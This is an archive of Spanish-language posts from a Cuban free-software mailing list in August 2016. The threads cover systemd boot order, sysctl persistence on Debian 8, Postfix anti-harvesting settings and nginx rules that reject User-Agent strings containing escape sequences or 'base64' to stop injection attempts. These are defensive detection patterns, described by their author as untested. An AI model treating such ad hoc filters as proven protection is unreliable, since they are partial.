├─dev-disk-by\x2did-wwn\x2d0x5000c50056d6134f\x2dpart2.swap * │ ├─dev-disk-by\x2dpath-pci\x2d:0b:00.0\x2dsas\x2d0x5000c50056d6134d\x2dlun\x2d0\x2dpart2.swap * │ ├─dev-disk-by\x2duuid-ba1e2785\x2d70dc\x2d4f3a\x2da976\x2dd6c9075739c6.swap * │ └─dev-sda2.swap * └─timers.target * └─systemd-tmpfiles-clean.timer Y este sería lo que cargue después: cron.service * ├─multi-user.target (*) │ ├─systemd-update-utmp-runlevel.service * │ └─graphical.target (*) │ ├─systemd-readahead-done.service (*) │ ├─systemd-readahead-done.timer (*) │ └─systemd-update-utmp-runlevel.service (*) └─shutdown.target Sería así? Exactamente que significado tiene que los puntos sean rojos o verdes? Porque si ejecuto $(systemctl --failed --all) me dice: 0 loaded units listed. Es decir, que no hubo fallos al menos en este inicio. Anteriormente este comando me indicó que había una unidad huérfana de ntp (que tenía desinstalado) y la única forma de solucionarlo fué instalando el paquete ntp y luego desinstalándolo (sin comentarios). __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda sobre crontab y reinicio
On Tue, 23 Aug 2016 16:34:47 -0400, låzaro wrote: systemd-analyze critical-chain Aunque esa herramienta puede ser útil para otras cosas, no veo nada ahi que me indique donde se ejecuta cron: graphical.target @10.275s └─multi-user.target @10.275s └─exim4.service @9.645s +629ms └─mysql.service @5.866s +3.778s └─nss-lookup.target @5.866s └─dnsmasq.service @3.954s +1.911s └─basic.target @3.912s └─paths.target @3.912s └─acpid.path @3.912s └─sysinit.target @3.912s └─console-setup.service @3.370s +315ms └─kbd.service @3.090s +279ms └─remote-fs.target @3.090s └─local-fs.target @3.089s └─lvm2-monitor.service @3.034s +55ms └─system.slice @849ms └─-.slice @849ms __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con persistencia de sysctl.conf
On Tue, 23 Aug 2016 21:30:28 -0400, Arian Molina Aguilera wrote: Me parece que no estas poniendo bien la variable o no existe, busque en mi sistema y por defecto no la tengo establecida con ese valón que dices. me parece que en debian 8 para contar con el modulo de nf para conntrack hay que instalar dicho paquete a parte ya que por defecto no viene instalado en el sistema [...] No debe ser este el problema, porque suelo configurar netfilter con rastreo de conexiones, de hecho es una de las primeras cosas que verifico. Te agradecería si intentases establecer este valor en /etc/sysctl.d/local.conf, reiniciar y comprobar el valor activo a ver si el comportamiento es consistente en Debian 8 o es solo un problema en mi equipo en particular. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Postfix SMTP server: errors from correos.interaudit.cu[200.55.140.70]
On Tue, 23 Aug 2016 10:01:26 -0400, Eduardo R. Barrera Pérez wrote:
Hugo, gracias por la explicación, ya encontré como deshabilitar el
comando VRFY en postfix, pero lo de la dirección vacía no lo
encuentro
y que repercusiones me traería si la deshabilito?
Deshabilitar la dirección nula no necesariamente tiene repercusiones
drásticas, en la propia documentación de Postfix reconocen que hay
sistemas que pueden tenerla deshabilitada aunque un documento RFC
recomiende lo contrario.
De todas formas, revisando la documentación de Postfix y algunas salvas
de cuando lo usaba, creo que algo como esto podría ayudarte (sin probar
en conjunto, puedes usarlo como base para experimentar):
En el archivo main.cf (entre otras cosas propias de tu configuración):
##== inicio de bloque ==##
# algunas opciones para seguridad
biff = no
disable_vrfy_command = yes
append_dot_mydomain = no
smtpd_forbidden_commands = VRFY, EXPN, CONNECT, GET, POST, ETRN
smtpd_client_connection_count_limit = 3
smtpd_hard_error_limit = 5
smtpd_soft_error_limit = 1
smtpd_junk_command_limit = 2
smtpd_delay_reject = yes
smtpd_helo_required = yes
mynetworks = 127.0.0.0/8
address_verify_sender = postmaster@$mydomain
# restricciones de identificacion del cliente
smtpd_helo_restrictions = reject_invalid_helo_hostname
# restricciones de remitentes (verificaciones de MAIL FROM)
smtpd_sender_restrictions =
permit_mynetworks,
reject_non_fqdn_sender,
reject_unknown_sender_domain,
permit_sasl_authenticated,
reject_non_fqdn_helo_hostname,
reject_unknown_helo_hostname,
reject_unknown_client_hostname,
reject_sender_login_mismatch
# restricciones de destinatarios (verificaciones de RCPT TO y relay)
smtpd_recipient_restrictions =
permit_mynetworks,
reject_non_fqdn_recipient,
reject_unknown_recipient_domain,
permit_sasl_authenticated,
reject_unauth_destination,
check_helo_access pcre:/etc/postfix/helo_checks.pcre,
reject_unlisted_recipient,
warn_if_reject reject_rbl_client zen.spamhaus.org
# restricciones de datos
smtpd_data_restrictions =
reject_unauth_pipelining,
reject_multi_recipient_bounce
check_sender_access pcre:/etc/postfix/sender_checks.pcre
# chequeo de cabeceras
header_checks = pcre:/etc/postfix/header_checks.pcre
##== fin de bloque ==##
En el archivo helo_checks.pcre:
##== inicio de bloque ==##
/^(localhost\.)?(localdomain|midominio\.cu)$/ 501 Invalid
domain/hostname. Dominio o nombre de equipo incorrecto.
/^\[?127\.0\.0\.[0-9]+\]?$/ 501 Invalid domain/hostname. Dominio o
nombre de equipo incorrecto.
/^\[?[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\]?$/ 501 Invalid domain/hostname.
Dominio o nombre de equipo incorrecto.
/^(.+\.){0,}(example|invalid|localhost|test)(\.[^.]+){0,3}?$/ 501
Invalid domain/hostname. Dominio o nombre de equipo incorrecto.
##== fin de bloque ==##
En el archivo sender_checks.pcre:
/(.*)/ prepend X-Envelope-From: <$1>
En el archivo header_checks.pcre:
/^X-Envelope-From:(\s+<>)?\s*$/ DISCARD
Saludos, Hugo
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda sobre crontab y reinicio
Gracias Servilio y Lazaro, probaré lo que recomiendan. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con persistencia de sysctl.conf
On Tue, 23 Aug 2016 08:21:51 -0400, Arian Molina Aguilera wrote: hugo acabo de hacer la prueba que sugeriste, y efectivamente si se cargo el parametro establecido en sysctl.conf aquí la prueba. Antes de reiniciar root@repos:~# sysctl -a | grep tcp_challenge_ack_limit net.ipv4.tcp_challenge_ack_limit = 100 Después de reiniciar. root@repos:~# sysctl -a | grep tcp_challenge_ack_limit net.ipv4.tcp_challenge_ack_limit = 1 [...] Muchas gracias. Interesante, parece que el problema no afecta todos los valores como suponía, por ejemplo a mi concretamente este me está dando problemas: net.netfilter.nf_conntrack_tcp_timeout_established = 28800 El valor por defecto es de 432000 (5 días, o 120 horas), aunque lo reduzca en los archivos de configuración, cuando reinicio y ejecuto el comando $(iptstate -Lt), las conexiones establecidas siguen con el valor antiguo. ¿Podrías hacer la prueba una vez más, porfa? Prometo que no fastidiaré más con esto. Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] Normas de uso de la lista
Hola a todos, Para los más nuevos en la lista, y para refrescar la memoria de los no tan nuevos: https://gutl.jovenclub.cu/wiki/doku.php?id=gutl:gutl_normas_lista [1] Saludos, Hugo [1] Para lo que no tienen navegación, aqui va un extracto: Norma 1: Cualquier mensaje que no este dentro de los tópicos o temáticas de las lista deberá ser escrito (off-topic) o (Fuera de temática) en el respectivo Subject o Asunto del post o mensaje. Cuando una conversación derive en temas ajenos a ella, el moderador invitará a los interlocutores a que la continúen en otro foro o espacio privado más adecuado. Norma 2: No está permitida la publicidad de ningún tipo, aunque si se aceptarán las opiniones desinteresadas sobre productos o servicios comerciales relacionados con las temáticas de la lista. Norma 3: No se permitirán los insultos, expresiones malsonantes y falta de respeto entre los usuarios. Igualmente serán rechazados todos los mensajes que vengan en mayúscula fija, dado que en Internet es equivalente a gritar a los otros usuarios. Norma 4: No se permite enviar repetidamente, de manera sistemática, un mismo mensaje. Igualmente se verificará el envío masivo de correos a varias listas de parte de los usuarios. En este caso será responsabilidad y discreción de los moderadores la distribución de estos mensajes en el grupo. Norma 5: Los usuarios intentarán en la medida de lo posible no exceder un máximo de aproximadamente 50 líneas por mensaje (1 página); los textos más amplios es conveniente separarlos en varios mensajes, siempre que sean del interés de la mayoría de usuarios o en su defecto anexarlo como un mensaje adjunto en formato ODF. Norma 6: El idioma oficial será el castellano, aunque se aceptará el uso del idioma inglés cuando sea necesario, o por razones de nacionalidad no se conozca el castellano. Los mensajes escritos en otras lenguas se ruega vayan acompañados de traducción al castellano, si esto fuera posible. Norma 7: Queda terminantemente prohibido el envío de mensajes personales a la lista de distribución. Los mensajes encriptados se consideran personales. En lo posible los mensajes personales no serán aprobados por los moderadores y serán retornados al remitente con la anotación correspondiente. Norma 8: No se permite el highjacking, es decir, responder a cualquier mensaje para preguntar otra cosa que nada tiene que ver con el tema de dicho mensaje. Si necesita preguntar algo, cree un nuevo mensaje específicamente para ello, con un asunto relevante. Norma 9: Se evitará el top-posting, porque interrumpe el flujo lógico de la comunicación. De incluirse el texto original del mensaje al cual se responde, la respuesta ha de colocarse debajo de este, nunca encima. Norma 10: Al responder un mensaje citando el texto original, se debe eliminar todo lo que resulte irrelevante o dificulte la comprensión, como secciones del mensaje que no vengan al caso, o firmas. Esto es particularmente importante en el caso de las respuestas a los mensajes tipo Resumen. Norma 11: Al redactar los mensajes para enviarlos a la lista, es preferible utilizar texto plano y no texto con formato,1) pues algunos usuarios revisan la lista desde consola o clientes que no admiten texto con formato. Además, los mensajes con formato HTML pueden exceder fácilmente las 50 líneas a las cuales se refiere la Norma 5 . Se consideran FALTAS MUY GRAVES - Intentar enviar mensajes a la lista de correo suplantando la identidad de otro miembro. - Usar el servicio de listas de correo para propósitos no relacionados a las temáticas de la misma o usarlo para propósitos fraudulentos, comerciales o publicitarios sin autorización previa, o para la propagación de mensajes destructivos u obscenos. - Difundir en la lista de correo, “cadenas” de mensajes. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] Duda sobre crontab y reinicio
Hola colegas, Crontab permite emplear el argumento @reboot en lugar de las medidas de tiempo, lo cual es muy útil, pero: ¿en que momento exacto del reinicio ejecutará la tarea? - tan pronto el sistema lo permita en el proceso de inicio - tras finalizar el subsistema de inicialización - tras inicializar las interfaces - tras cargar el shell - una vez que absolutamente todo haya iniciado - en algún otro momento? ¿Alguien sabe, o podría sugerirme cómo averiguarlo con exactitud? Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] error en opendkim
El comando opendkim-genkey viene en el paquete opendkim-tools (al menos en Debian), probablemente no esté instalado. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Postfix SMTP server: errors from correos.interaudit.cu[200.55.140.70]
On Mon, 22 Aug 2016 16:53:03 -0400, Eduardo R. Barrera Pérez wrote: Alguien podría decirme porque hay servidores que dan el from<> vació nulo que ocasiona este error?? En este caso el error no es causado por el from vacío, sino porque Postfix cerró la conexión al exceder el tiempo de espera definido para que el cliente introdujera algo en la sección de datos. La dirección vacía es válida para comprobar la existencia de un destinatario, pero algunos spammers la utilizan para buscar direcciones válidas, asi que podrías deshabilitarla. De cualquier manera, sugiero que deshabilites también el comando VRFY, también suelen explotarlo para conseguir direcciones válidas. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con persistencia de sysctl.conf
On Mon, 22 Aug 2016 13:18:05 -0400, Arian Molina Aguilera wrote: No no me devuelve nada, porque no tengo nada pasado en esa configuración al kernel, esta todo por defecto, todas las lineas están comentadas. Bueno el comando que sugerí tenía un error (ver errata), pero sencillamente no encuentro donde se carga la configuración. También probé ejecutando como superusuario el siguiente comando, y tampoco hay resultados: find /etc/ -type f -print0 | xargs -0 grep 'sysctl --system' En fin, hay una manera definitiva de comprobar si el problema es común para Debian 8, modificando un valor predeterminado y reiniciando el equipo. Por ejemplo, podría consultarse el valor de tcp_challenge_ack_limit (por defecto suele ser 100): sysctl -a | grep tcp_challenge_ack_limit Entonces, editar el archivo /etc/sysctl.d/local.conf y colocando en su interior algo como esto: net.ipv4.tcp_challenge_ack_limit = 1 Una vez reiniciado el sistema, comprobar el valor: sysctl -a | grep tcp_challenge_ack_limit Si no hay cambios, esto evidentemente significa que Debian 8 no ha cargado el archivo. ¿Alguien estaría dispuesto a comprobarlo? __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] error en opend
On Mon, 22 Aug 2016 16:34:25 -0500, Lic. Emilio Márquez Infante wrote: saludos lista, estoy tratando de implementar opendkim, y me salta este error a la hora de generar las llaves bash: opendkim-genkey: no se encontró la orden, alguna idea? No secuestres hilos respondiendo a un mensaje cualquiera para crear una nueva pregunta, eso es una violación de las políticas de uso de la lista; crea un nuevo mensaje. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] ÁYUDA OARA AUTENTICAR USUARIOS DE INTERNET
On Mon, 22 Aug 2016 00:40:16 -0400 (CDT), Sandy Moreno Castillo wrote: hola lista necesito si alguien pudiera ayudarme... resulta q tengo necesidad de atenticar usuarios para internet (solamente un grupito de usuarios) no todos- estoy usando ubuntu.. actualmente tengo atenticación de usurarios pero es para navegacion nacional... me gustaria realizar lo mismo pero para internet gracias de antemano... Bueno, sin ofrecer mas detalles solo dejas espacio a la suposicion de que usas Squid, busca en el foro o la wiki, es probable que encuentres algo relevante. O si prefieres que te respondan aqui, elabora mejor tu pregunta aclarando que has intentado, como tienes declarados los usuarios, la versión de Squid que utilizas, etc. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con persistencia de sysctl.conf
On Mon, 22 Aug 2016 13:17:18 -0400, Arian Molina Aguilera wrote: hugo no estaba igual tu archivo terminaba según tu correo en . /lib/lsb/init-functions y después de esas el mio tiene varias otras. Quizás no supe explicarme, quise decir que cuando vi tu mensaje y fui a comparar, descubrí que mi archivo sí tenía las otras líneas. Cabe la posibilidad de que cuando estaba escribiendo el mensaje estaba comiendo "mandarinas", o que se me congeló la terminal al hacer copia-pega, o mas remotamente, que en el archivo estuviese corrupto en aquel momento y luego de otro full-upgrade que hice "por si las moscas" se haya arreglado. Honestamente, apuesto por la primera opción (errare humanum est). __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con persistencia de sysctl.conf
Errata: en una expresión me faltó un fin de línea. Realmente lo que debería ejecutarse como superusuario es esto: find /etc/ -type f -print0 | xargs -0 grep -vE '^\s*(#.*)?$' | grep -vE '^/etc/sysctl\.(conf|d)' | grep -E 'sysctl\.(conf|d)' A mi en /etc/ no me aparece ningún archivo que contenga (al menos en texto claro) la carga de la configuración de sysctl, solo me sale esto, que tampoco carga nada: /etc/init.d/networking: log_warning_msg "/etc/network/options still exists and it will be IGNORED! Please use /etc/sysctl.conf instead." En otras palabras, que a menos que me equivoque, los valores establecidos en /etc/sysctl.conf o en los archivos .conf en el subdirectorio /etc/sysctl.d/ no se cargan automáticamente nunca, a menos que uno los cargue manualmente. Recuerdo que en versiones anteriores de Debian estos archivos se cargaban sin problemas al reiniciar, ahora por algún motivo esto no parece ser el caso. Por favor, otros colegas que tengan instalado Debian 8, reporten el resultado del comando que puse al inicio si es diferente al mío. Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con persistencia de sysctl.conf
On Mon, 22 Aug 2016 07:02:20 -0400, Arian Molina Aguilera wrote: Uso KaOS que emplea systemd desde su mismisimo surgimiento, y baja /etc/init.d no existe nada, solo un archivo readme con la siguiente explicación. You are looking for the traditional init scripts in /etc/init.d, and they are gone? Here's an explanation on what's going on: You are running a systemd-based OS where traditional init scripts have been replaced by native systemd services files. Service files provide very similar functionality to init scripts. To make use of service files simply invoke "systemctl", which will output a list of all currently running services (and other units). Use "systemctl list-unit-files" to get a listing of all known unit files, including stopped, disabled and masked ones. Use "systemctl start foobar.service" and "systemctl stop foobar.service" to start or stop a service, respectively. For further details, please refer to systemctl(1). Note that traditional init scripts continue to function on a systemd system. An init script /etc/init.d/foobar is implicitly mapped into a service unit foobar.service during system initialization. Thank you! Further reading: man:systemctl(1) man:systemd(1) http://0pointer.de/blog/projects/systemd-for-admins-3.html http://www.freedesktop.org/wiki/Software/systemd/Incompatibilities Ahora mirando uno de mis servidores debian 8 actualizado al día igualmente, si contiene dicho archivo, pero el contenido es muy diferente al tuyo, veo que el tuyo esta truncado [...] Pues curiosamente cuando fui a compararlo veo que el mío esta igual al tuyo, no se si será que cuando hice el mensaje no estaba prestando la debida atención al entorno que me rodeaba o si realmente el archivo estaba como lo puse, pero en cualquier caso, tu archivo tampoco invoca la configuración, y se supone que de existir una unidad de systemd, debería aparecer, que en mi caso no ocurre. Para confirmar, intenta ejecutar esto en Debian 8 como superusuario a ver que te devuelve: find /etc/ -type f -print0 | xargs -0 grep -vE '^\s*(#.*)?' | grep -E 'sysctl\.(conf|d)' A mi no me devuelve ni una línea. Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] Duda con persistencia de sysctl.conf
Hola colegas, Recientemente he notado que con el reinicio del sistema no cargan mis preferencias de sysctl, mas concretamente, ni el archivo /etc/sysctl.conf ni tampoco ninguno de los archivos dentro de /etc/sysctl.d/ Acabo de hacer una búsqueda: # find /etc/ -type f -print0 | xargs -0 grep '/etc/sysctl.' Aparentemente el único archivo que contiene una referencia relevante es /etc/init.d/procps, pero no veo línea alguna que cargue la configuración. En mi caso, esto es lo único que contiene: #== (inicio del archivo) ==# #! /bin/sh # /etc/init.d/procps: Set kernel variables from /etc/sysctl.conf # # written by Elrond ### BEGIN INIT INFO # Provides: procps # Required-Start:mountkernfs $local_fs # Required-Stop: # Should-Start: udev module-init-tools # X-Start-Before:$network # Default-Start: S # Default-Stop: # Short-Description: Configure kernel parameters at boottime # Description: Loads kernel parameters that are specified in /etc/sysctl.conf ### END INIT INFO PATH=/sbin:/bin SYSCTL=/sbin/sysctl test -x $SYSCTL || exit 0 . /lib/lsb/init-functions #== (fin del archivo) ==# Tras unas búsquedas, veo que ese archivo debería contener algo como esto, al menos en versiones de Linux que venían sin systemd: for file in /etc/sysctl.conf /etc/sysctl.d/*.conf do sysctl $quiet -p "$file" done Sin embargo, en este caso, el archivo no contiene nada parecido. Esto es en Debian 8, actualizado al día, he aqui el resultado de $(uname -a): Linux miservidor 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2+deb8u3 (2016-07-02) x86_64 GNU/Linux A alguien más le ocurre? Por favor, si su sistema usa systemd y el archivo /etc/init.d/procps es diferente al mío, compartan el contenido. Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Como puedo ver el trafico de mi interface de red
On Fri, 19 Aug 2016 07:59:21 -0400, Rafael Maleta Fdez wrote: Pero me refiero a mi interface de red no la del proxy, es para ver que cosa esta saliendo y que esta entrando, pk a veces hay cosas por detras trabajando en segundo plano y no se que es. Todas las herramientas que se han mencionado deberían ayudarte, pero también podrías ejecutar esto como superusuario: lsof -i -n -P __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Como puedo ver el trafico de mi interface de red
On Thu, 18 Aug 2016 12:17:47 -0400, Rafael Maleta Fdez wrote: Si como ponia en el asunto necesito tener detalles del trafico de mi interface de red, ya que el admin me esta molestando a cada rato que tengo trafico extrano, ya como web.whatsapp.com y que mi sistema esta actualizando. Yo para monitorear en tiempo real me apoyo en iftop e iptstate, son muy útiles __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda en configuracion de Nginx
On Tue, 16 Aug 2016 07:53:19 -0500, Francisco R. Díaz Ortíz wrote: Tengo una preocupacion con ngnix, me pincha riquisimo pero cuando intento configurarle las url faciles se explota, es decir las url que utiliza mucho drupal 8 y algunos cms nuevos no me pinchan por esa razon, de que manera pudiera yo solucionar este problemita. Sucede que las URLs amistosas dependen de los módulos de rewrite, y el creador de Nginx es un fuerte adversario del acercamiento que toma Apache con los archivos .htaccess, dice que es ineficiente porque el servidor tiene que recorrer regularmente todos los directorios buscandolos, de modo que sencillamente no lo implementará nunca, ni aparentemente permitirá que otros lo hagan. De modo que le toca a uno hacer los rewrites en el sitio, lo cual indudablemente es un poco más trabajoso, pero es como hay que hacerlo. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con expresion en Nginx
Vale Arian, ahora mismo tengo las siguientes condiciones, entre otras
medidas:
if ($request_method !~ '^(GET|HEAD|POST)$') {
return 405;
}
if ($http_user_agent ~ '([\"\{\}\[\]\?=&%]|x|base64)') {
return 400;
}
if ($http_user_agent ~ '^(_|\-|\.)?$') {
return 400;
}
Igual podría devolver un 444 (que en el caso de nginx equivale a
tcp-reset), pero ese código lo prefiero para otras cosas como evitar que
accedan solo con la ip externa.
En fin como verán no es la gran cosa, pero me ha permitido frenar y
volcar a las trazas algunos inventos bastante astutos. Es como jugar al
ratón y el gato, con la salvedad quizás de que el ratón suele tener para
llegar y escaparse una autopista de 8 carriles y el gato necesita pasar
por un pasillo estrecho, de ahi que suelo combinar esto con fail2ban. ;)
Saludos, Hugo
PD. Mis disculpas si respondo a mi propio mensaje pero el de Arian a mi
buzon aun no ha llegado, lo vi en mail-archive (me resulta más rápido
para revisar cuando hay cosas nuevas en la lista).
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con expresion en Nginx
On Tue, 16 Aug 2016 10:10:40 -0400, Servilio Afre Puentes wrote: [...] # nginx -t nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful El primer intento fue con "[\\]", el segundo con "[]" y el tercero con "". La versión de libpcre3 q tengo es la 8.39. Pues, con comillas simples y cuatro barras si me funcionó, cosa bastante curiosa porque se supone que las comillas simples son para no expansión. De todas formas haciendo unas pruebas vi que al usar comillas dobles en el agente se convertían automáticamente en secuencias de escape, así que las agregué también a la expresión, y ahora todo parece funcionar de perlas, así que ya se me quitó la picazón. :D Gracias a todos por la ayuda! __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con expresion en Nginx
On Mon, 15 Aug 2016 19:29:46 -0400, låzaro wrote:
Thread name: "Re: [Gutl-l] Duda con expresion en Nginx"
Mail number: 3
Date: Mon, Aug 15, 2016
In reply to: Servilio Afre Puentes
On Mon, Aug 15 2016, Hugo Florentino wrote:
> On Mon, 15 Aug 2016 14:30:50 -0400, Servilio Afre Puentes wrote:
>>
>> Tiene tipo de estar destinado a PHP, en espcifico a Joomla, no
debe
>> afectar tu servidor en sí.
>
> Si, lo imagino, lo que me da picazón es no poder atajarlo a mi
gusto.
> ;)
Bueno, atajadlo entonces :D
>>> He estado intentando usar en la configuración de Nginx una
expresión
>>> regular que me permita impedir el acceso a un user-agent que
incluya
>>> secuencias de escape y otros caracteres especiales usados en la
>>> codificación de URLs, pero por algún motivo no parece estar
>>> funcionando
>>> del todo bien con secuencias como \x22.
>>
>> Igual te recomiendo q busques una forma de registrar estos
pedidos,
>> puede q aparezca alguno q use uno de los caracteres "prohibidos"
y no
>> sea malintencionado, pues según parece se puede poner cualquier
cosa
>> en ese campo.
>
> Yo guardo trazas de todo, y las reviso regularmente, si bien no he
> realizado (aun) una búsqueda recursiva en el histórico, esos
caracteres
> son bastante atípicos para un User-agent, de modo que no creo que
el
> riesgo de denegarlos sea considerable.
Mirando una segunda vez me dí cuenta q mi comentario era "no-op", el
devolver HTTP 400 no debe quitar q se guade en los "logs".
>>> El bloque relevante es este, lo tengo puesto en la sección
server:
>>>
>>> if ($http_user_agent ~* "(\{|\?|=|&|\\x|\})") {
>>> return 400;
>>> }
>>
>> Una expresión más sencilla y q debe tener el mismo efecto es
>> "[{}=?]|\\x". Para probarla en bash tuve q adicionar un par de
"\\",
>> puede q necesites hacer lo mismo en Nginx, revisa la
documentación.
>
> Cierto, bien podría haber usado un arreglo de caracteres. Sin
embargo,
> por algún motivo incluso algo tan simple como esto no parece estar
> funcionando:
>
> if ($http_user_agent ~* "\\x") {
> return 400;
> }
>
> De modo que ignoro donde puede estar el problema.
¿Probaste usar un "doble-escapado"? O sea "x", con bash tenía q
hacerlo, porque bash interpreta la cadena "consumiendo" cada "\\",
¿puede Nginx esté haciendo lo mismo?
Servilio
O con comillas simples, que no intepreta secuencias de escape
'\\x'
Buena idea, pero lamentablemente nginx parece defecarse en la expresión
de todas formas. ;)
Lo que me llama la atención es que las expresiones regulares de nginx
parecen funcionar bien en general, ¿será que en la propia aplicación han
deshabilitado intencionalmente la verificación de esa secuencia en
particular?
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con expresion en Nginx
On Mon, 15 Aug 2016 14:30:50 -0400, Servilio Afre Puentes wrote:
Tiene tipo de estar destinado a PHP, en espcifico a Joomla, no debe
afectar tu servidor en sí.
Si, lo imagino, lo que me da picazón es no poder atajarlo a mi gusto.
;)
He estado intentando usar en la configuración de Nginx una expresión
regular que me permita impedir el acceso a un user-agent que incluya
secuencias de escape y otros caracteres especiales usados en la
codificación de URLs, pero por algún motivo no parece estar
funcionando
del todo bien con secuencias como \x22.
Igual te recomiendo q busques una forma de registrar estos pedidos,
puede q aparezca alguno q use uno de los caracteres "prohibidos" y no
sea malintencionado, pues según parece se puede poner cualquier cosa
en
ese campo.
Yo guardo trazas de todo, y las reviso regularmente, si bien no he
realizado (aun) una búsqueda recursiva en el histórico, esos caracteres
son bastante atípicos para un User-agent, de modo que no creo que el
riesgo de denegarlos sea considerable.
El bloque relevante es este, lo tengo puesto en la sección server:
if ($http_user_agent ~* "(\{|\?|=|&|\\x|\})") {
return 400;
}
Una expresión más sencilla y q debe tener el mismo efecto es
"[{}=?]|\\x". Para probarla en bash tuve q adicionar un par de "\\",
puede q necesites hacer lo mismo en Nginx, revisa la documentación.
Cierto, bien podría haber usado un arreglo de caracteres. Sin embargo,
por algún motivo incluso algo tan simple como esto no parece estar
funcionando:
if ($http_user_agent ~* "\\x") {
return 400;
}
De modo que ignoro donde puede estar el problema.
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Duda con expresion en Nginx
On Mon, 15 Aug 2016 09:38:42 -0500, Yoander Valdés Rodríguez wrote:
A primera vista puedo decirte que si lo que deseas parsear no viene
entre llaves no va a casar debido a que al inicio y final de la exp
reg tienes un \{\} por eso tu comando pasa y da un 200 como
respuesta.
La evaluación dice: si la siguiente expresión (independientemente de
mayúsculas o minúsculas) está contenida en la cadena del User-agent ...
Y la expresión "(\{|\?|=|&|\\x|\})" es una simple agrupación entre
paréntesis de posibilidades (nota las barras verticales). A menos que me
equivoque, significa:
\{ (una llave de apertura), o
\? (un signo de interrogación), o
= (un signo de igualdad), o
& (un ampersand), o
\\x (una barra invertida seguida de una x), o
\} (una llave de cierre)
Si detrás de la llave de apertura o delante de la llave de cierre no
hubiese una barra vertical, se cumpliría lo que dices, pero no es el
caso, así que no debe ser ese el problema.
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
